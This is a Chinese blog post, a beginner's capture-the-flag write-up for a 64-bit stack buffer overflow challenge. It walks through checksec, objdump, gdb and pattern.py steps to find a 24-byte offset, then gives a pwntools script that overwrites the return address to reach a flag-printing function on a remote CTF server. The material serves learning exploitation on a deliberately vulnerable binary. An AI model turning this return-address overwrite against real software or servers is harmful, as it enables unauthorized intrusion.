

SniperOJ pwn100-bof writeup

原创

[0_Re5et](#) 于 2017-04-27 03:02:49 发布 2191 收藏

分类专栏: [CTF-pwn](#) 文章标签: [pwn ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/kanamisama0/article/details/70837230>

版权



[CTF-pwn](#) 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

在大佬的指导下拿到了人生中第一个pwn flag。感觉pwn真的帅的飞天了! 在此简单记录一下思路。因为还没有补相关的基础知识, 哪里不对的话还请各位大佬指出~比心~

1. 首先查看文件信息

命令 `file filename`

```
~/Re5et/pwn100-bof-x86-64 » file bof
bof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, in
terpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0dd9b
bd81a3275c4bc4c998d872db9d3d02e1015, not stripped http://blog.csdn.net/kanamisama0
```

可以看到程序是64bit, linux平台下的

在这里补充一下查看本机操作系统位数的命令: `getconf LONG-BIT`

然后就去对应的系统下就ok了

2. 查看源代码或运行一下程序看看过程

```
#include <stdlib.h>

void bingo(){
    system("cat ./flag");
}

void vuln(){
    char buffer[16] = {0};
    printf("Can you control my legs?\n");
    read(0, buffer, 0x100);
}

void welcome(){
    printf("Welcome to Sniper0j!\n");
}

int main(){
    setvbuf(stdout, NULL, _IOLBF, 0);
    welcome();
    vuln();
    return 0;
}
http://blog.csdn.net/kanamisama0
```

```
~/Re5et/pwn100-bof-x86-64 » ./bof
Welcome to Sniper0j!
Can you control my legs?
hahahahahahaog.csdn.net/kanamisama0
```

可以看到这个程序是个很典型的溢出。我们需要让程序执行bingo函数来得到flag
通过buffer数组，来使vuln返回时跳转到bingo函数的位置。

3. 用gdb调试程序

命令：**gdb filename**

进入gdb后，使用**checksec**命令来查看文件使用的防护

```
gdb-peda$ checksec
CANARY      : disabled
FORTIFY     : disabled
NX          : disabled
PIE        : disabled
RELRO      : partial
http://blog.csdn.net/kanamisama0
```

- CANARY: 金丝雀，栈溢出防护技术
- NX (DEP): 堆栈不可执行
- PIE (ASLR): 地址随机化
- RELRO: Partial GOT表可写

然后这里推两篇文章:

<http://jq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.11.MtR4jX&articleid=403>

<https://zhuanlan.zhihu.com/p/23537552>

这里有就针对堆栈不可执行和地址随机化的绕过技术，看得我一愣一愣的，厉害极了。感兴趣的可以看一下。这里还是针对这道题做叙述。

4. 查看程序反编译代码

命令：**objdump -d filename**

记得先退出了gdb再执行上面这个命令。

这个命令可以查看程序汇编代码。我们可以得到函数的地址。在这里需要bingo函数的地址

```
000000000400616 <bingo>:
 400616: 55                push   %rbp
 400617: 48 89 e5          mov    %rsp,%rbp
 40061a: 48 8d 3d 23 01 00 00 lea   0x123(%rip),%rdi # 400744
```

我们需要将vuln函数的返回地址覆盖为bingo函数的地址。

5. 查找溢出点

这里使用了一个pattern.py的脚本来查找溢出点。这个脚本可以在上面第三项推荐文章的第一篇末尾的GitHub上下载。这里不另放下载链接了

首先创建一个长长的字符串，具体长度可以略长于read函数读取的数值

命令：**python pattern.py create 300**

将生成的字符串在gdb模式下提交至bof。得到结果

```
g4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A\001")
0040| 0x7fffffffddc0 ("c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9A
e0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6
Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A\001")
0048| 0x7fffffffddc8 ("Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag
9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A\001")
0056| 0x7fffffffddcd0 ("6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae
5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1A
h2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A\001")
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000400665 in vuln ()
gdb-peda$ i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Undefined command: "i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9". Try "help".
gdb-peda$ x/gx $rsp
0x7fffffffddc98: 0x6241396141386141
gdb-peda$ |
```

这里最开始并没有找到地址，而是停留在了vuln函数中。因为程序使用的内存地址不能大于0x00007fffffff，否则会抛出异常。但是，虽然PC不能跳转到那个地址，我们依然可以通过栈来计算溢出点。因为ret相当于“pop rip”指令，所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。（←这句话是复制上面那篇文章里的）。

所以在这里使用命令：**x/gx \$rsp**来获取栈顶地址，即溢出点

随后将这个地址丢给pattern.py来计算偏移。得到偏移量为24，即0x18。

```
~/Re5et/ROP_STEP_BY_STEP-master/ROP_STEP_BY_STEP-master/linux_x86 » python patte
rn.py offset 0x6241396141386141
hex pattern decoded as: Aa8Aa9Ab
24
```

在这里还有一种查找溢出点的方法，即手动gdb单步调试。虽然麻烦了一点儿，不过更有益于理解原理。

在此简述一下过程：

首先使用**gdb filename**进入gdb环境，然后**br main**为主函数添加断点，添加完成后**run**程序

next为单步步过，**step**为单步步入。我们跟踪到read函数后，输入0x100个'A'，来找到程序的溢出点

可以从code段中看到现在执行的命令，在命令前有一个小箭头的指向。当看到vuln函数时，我们跟进一下。

```

[-----code-----]
0x40069b <main+34>: mov    eax,0x0
0x4006a0 <main+39>: call  0x400666 <welcome>
0x4006a5 <main+44>: mov    eax,0x0
=> 0x4006aa <main+49>: call  0x400629 <vuln>
0x4006af <main+54>: mov    eax,0x0
0x4006b4 <main+59>: pop   rbp
0x4006b5 <main+60>: ret
0x4006b6: nop   WORD PTR cs:[rax+rax*1+0x0]
No argument
[-----stack-----]
0000| 0x7fffffffedca0 --> 0x4006c0 (<__libc_csu_init>: push  r15)
0008| 0x7fffffffedca8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov   e
di,eax)
0016| 0x7fffffffedcb0 --> 0x1
0024| 0x7fffffffedcb8 --> 0x7fffffffdd88 --> 0x7fffffffef16d ("/home/re5et/Re5et/p
wn100-bof-x86-64/bof")
0032| 0x7fffffffedcc0 --> 0x1f7ffcca0
0040| 0x7fffffffedcc8 --> 0x400679 (<main>: push  rbp)
0048| 0x7fffffffedcd0 --> 0x0
0056| 0x7fffffffedcd8 --> 0x45d749ea940069cb
[-----]
Legend: code, data, rodata, value
0x0000000000004006aa in main ()
gdb-peda$ step

```

运行到read命令时，我们将生成的0x100个'A'读进去

```

[-----code-----]
0x400651 <vuln+40>: mov    edx,0x100
0x400656 <vuln+45>: mov    rsi,rax
0x400659 <vuln+48>: mov    edi,0x0
=> 0x40065e <vuln+53>: call  0x400500 <read@plt>
0x400663 <vuln+58>: nop
0x400664 <vuln+59>: leave
0x400665 <vuln+60>: ret
0x400666 <welcome>: push  rbp
Guessed arguments:
arg[0]: 0x0
arg[1]: 0x7fffffffedc80 --> 0x0
arg[2]: 0x100
[-----stack-----]
0000| 0x7fffffffedc80 --> 0x0
0008| 0x7fffffffedc88 --> 0x0
0016| 0x7fffffffedc90 --> 0x7fffffffedca0 --> 0x4006c0 (<__libc_csu_init>: p
ush  r15)
0024| 0x7fffffffedc98 --> 0x4006af (<main+54>: mov   eax,0x0)
0032| 0x7fffffffedca0 --> 0x4006c0 (<__libc_csu_init>: push  r15)
0040| 0x7fffffffedca8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov   e
di,eax)
0048| 0x7fffffffedcb0 --> 0x1
0056| 0x7fffffffedcb8 --> 0x7fffffffdd88 --> 0x7fffffffef16d ("/home/re5et/Re5et/p
wn100-bof-x86-64/bof")
[-----]
Legend: code, data, rodata, value
0x00000000000040065e in vuln ()
gdb-peda$ next
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA

```

之后我们就可以查看栈情况，来确定buffer的起始地址。使用命令：`x/10gx $rsp-16`

这里`x/gx $rsp`是显示八个字节的`rsp`内容。参数10控制一次显示的组数，-16即当前地址之前的部分内容也打印出来。运行结果如图：

```
gdb-peda$ x/10gx $rsp-16
0x7fffffffdd70: 0x0000000000000000      0x0000000000400663
0x7fffffffdd80: 0x4141414141414141      0x4141414141414141
0x7fffffffdd90: 0x4141414141414141      0x4141414141414141
0x7fffffffddca0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcb0: 0x4141414141414141      0x4141414141414141
gdb-peda$
```

然后我们就得到了buffer的地址：0x7fffffffdd80

再next，就进行到了ret语句的位置。可以看到，在执行ret的时候，栈顶指针指向的值为0x7fffffffdd98。我们需要将此位置进行修改，将其改为bingo函数地址。因为ret会将当前栈顶的值交给eip。相当于pop eip。eip为下一条执行指令的地址。我们在这里将栈顶值改为bingo地址后，下一步就会执行bingo函数的内容了。

$$\text{ffdc98H} - \text{ffdc80H} = 18\text{H} = 24$$

这样就得到了溢出点地址，和刚才用pattern.py计算出的值是一样的。

6. 构建payload

在最初查看汇编代码的时候，我们已经得到了bingo函数的地址为：0x0000000000400616

我们需要将溢出点位置的值改为bingo函数的地址。

使用pwntools中的p64 (addr) 可以将值转化为需要的地址。

先附上exp代码再做简单讲解：

```
from pwn import *

#addr = './bof'      # local addr
ip = '123.207.114.37' # remote ip
port = '30000'      # remote port

#p = process(addr) # run the program
p = remote(ip, port)

padding = "A" * 0x18 # fill chars
bingo_addr = 0x400616 # the address of func(bingo)

payload = padding + p64(bingo_addr) # func(p64):

p.recvuntil("legs?\n") # until receive the string
p.send(payload) # send payload

info = p.recv(1024) # receive the result
print info
```

英文不好就别吐槽英文注释了。。

首先from pwn import *来引用pwntools模块内容

本地测试的时候，地址为'/bof'。

p = process(addr) 可以执行程序。

很方便的是，假如需要远程连接，可以直接改为p = remote(ip, port)，实现了本地测试和远程连接的快速切换。

padding = 'A' * 24 这句填充溢出点前的内容

bingo_addr = 0x400616 这里记录bingo函数地址，不用写成很多零的格式。下面p64函数会自动转换

payload = padding + p64(bingo_addr) 构造了payload来实现溢出。

p.recvuntil("legs?\n") 这里是确定提交字符串的位置，设定在遇到'legs?\n'后

p.send(payload) 提交payload

info = p.recv(1024)

print info 这两句输出程序返回结果。

在本地运行一下试试。发现执行了。但是因为本地没有flag所以没办法获得

```
~/Re5et/pwn100-bof-x86-64 » python exp.py
[+] Starting local process './bof': pid 3928
cat: ./flag: No such file or directory
[*] Process './bof' stopped with exit code 0 (pid 3928)
~/Re5et/pwn100-bof-x86-64 » |http://blog.csdn.net/kanamisama0
```

现在去连接端口运行一下看看结果

```
~/Re5et/pwn100-bof-x86-64 » python exp.py
[+] Opening connection to 123.207.114.37 on port 30000: Done
Sniper0J{. }
[*] Closed connection to 123.207.114.37 port 30000
http://blog.csdn.net/kanamisama0
~/Re5et/pwn100-bof-x86-64 » |
```

成功获取flag~

注意

本文主要记录了pwn的分析过程，而原理方面没有做太多的介绍。介绍相关原理的可以上网搜一下栈溢出的相关内容。

做完感觉pwn还是很有意思的。

但是之后会不会走这个方向还不一定。。总不能一直只会做misc方向的。现在连web狗都无法在险恶的ctf中生存了，更别说misc狗。

相关基础知识很缺失，还是需要补一些基础介绍的内容。

接触的不多，写这个wp也只是给自己留个思路的过程，哪里说得不对的话还请各位在评论区指出噢